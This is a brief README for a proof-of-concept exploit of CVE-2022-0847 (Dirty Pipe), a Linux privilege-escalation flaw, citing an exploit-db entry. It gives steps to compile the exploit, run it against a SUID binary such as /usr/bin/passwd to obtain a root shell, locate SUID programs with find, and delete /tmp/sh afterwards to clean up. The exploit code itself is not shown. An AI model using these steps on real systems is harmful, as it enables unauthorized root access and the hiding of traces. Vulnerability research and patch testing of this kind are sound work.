CVE-2022-0847 POC

Source: https://www.exploit-db.com/exploits/50808

1. Compile

   In Linux, compile the POC with gcc -o dirty dirty.c

2. Usage

   Execute the program with ./dirty SUID, where SUID refers to the path of a program with the SUID bit set.

   Commonly, you can use /usr/bin/passwd, i.e., run ./dirty /usr/bin/passwd

   

   You can obtain a root shell.

3. You can use find / -perm /4000 to query for programs with the SUID bit set.

   

   

4. Don't forget to delete /tmp/sh